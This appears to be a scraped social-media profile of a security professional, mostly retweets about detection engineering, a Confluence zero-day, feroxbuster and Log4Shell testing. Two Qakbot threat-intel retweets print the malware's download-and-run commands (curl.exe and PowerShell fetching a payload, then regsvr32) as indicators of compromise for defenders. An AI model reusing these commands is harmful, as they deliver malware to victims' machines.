security stuff - bjj brown belt
United States
Joined June 2015
- Tweets2K
- Following755
- Followers523
- Likes2.7K
Scott retweeted
Detection engineering - build / maintain / improve pipelines or systems to get logs into something that can be used for detection
Threat Detection - use those logs to write (high signal) detections and probably respond
Scott retweeted
So...I've just realeased the most redicious project I think I've ever made... Security Information and Event Monitoring experience (SIEM) in Minecraft, with the ability to respond to and kill malicious processes [1/4]
github.com/pathtofile/siemcr…
Scott retweeted
#Qakbot - obama188 - .html > .zip > .lnk > .dll
HTML smuggling again no .img
MD C:\ProgramData\Pterds
curl.exe -o C:\ProgramData\Pterds\HErtop.pos 185.141.26.]251/%random%.dat
regsvr32 C:\ProgramData\Pterds\HErtop.pos
bazaar.abuse.ch/sample/5e973…
IOC's
github.com/pr0xylife/Qakbot/…
Scott retweeted
We just posted about an unauthenticated RCE that works on all current version of Atlassian Confluence. There is no patch or work around available at this time. This is 10/10 on the badness scale. Get your servers off the internet now! We have seen active exploitation. #dfir
.@Volexity discovers zero-day exploit impacting all current versions of Atlassian Confluence Server and Data Center. Attackers deploy in-memory Java implant to evade detection. Read more in our latest blog post: volexity.com/blog/2022/06/02… #DFIR #ThreatIntel #InfoSec
Scott retweeted
#Qakbot - AA - url > .zip > .lnk > .ps > .dll
powershell.exe iwr hxxps://green-a-thon.com/LosZkUvr/B.png -OutFile $env:TEMP\file172.dll;Start-Process regsvr32 $env:TEMP\file172.dll
bazaar.abuse.ch/sample/7b265…
IOC's
github.com/pr0xylife/Qakbot/…
Scott retweeted
I have a lot of respect for this, and know many parents can relate.
Scott retweeted
Evening y'all!
Small update to #feroxbuster: can now add scans from the interactive menu, in addition to cancelling them. Also, added an original_url field to the json output.
Docs/demo of the new menu:
epi052.github.io/feroxbuster…
Scott retweeted
You can use a point & click canarytoken from canarytokens.org to help test for the #log4j / #Log4Shell issue.
1) visit canarytokens.org;
2) choose the Log4shell token;
3) enter the email address you wish to be notified at;
4) copy/use the returned string...
Scott retweeted
Black Harbor specializes in penetration testing and vuln analysis for small & medium sized businesses. Reach out if you have any questions about how we can supplement your security stance w/ a specialized offensive security assessment.
#cybersecurity #pentest #offensivesecurity
Scott retweeted
Howdy!
Feroxbuster 2.4.0 is out! Includes
- bugfixes
- new --random-agent feature
- regex support for --dont-scan
Had help from a few github users: cortantief, dsaxton, and mzpqnxow! I really appreciate the time they took to help with this release.
github.com/epi052/feroxbuste…
Scott retweeted
Have you ever asked yourself why is the 0day market is so focused on mobile devices (browsers / OS) and not on other products?
A thread: deep-dive into the offensive cyber security market
(part 1)
Scott retweeted
Obsidian 0.12.15 is here!
• Improved graph time-lapse animation to be ordered by creation time
• Right click a heading to rename it and update all links
• Right click selected text to search for it
Download (or check for update in-app):
obsidian.md/
Scott retweeted
🚨🚨#ActionRequired patch immediately!🚨🚨
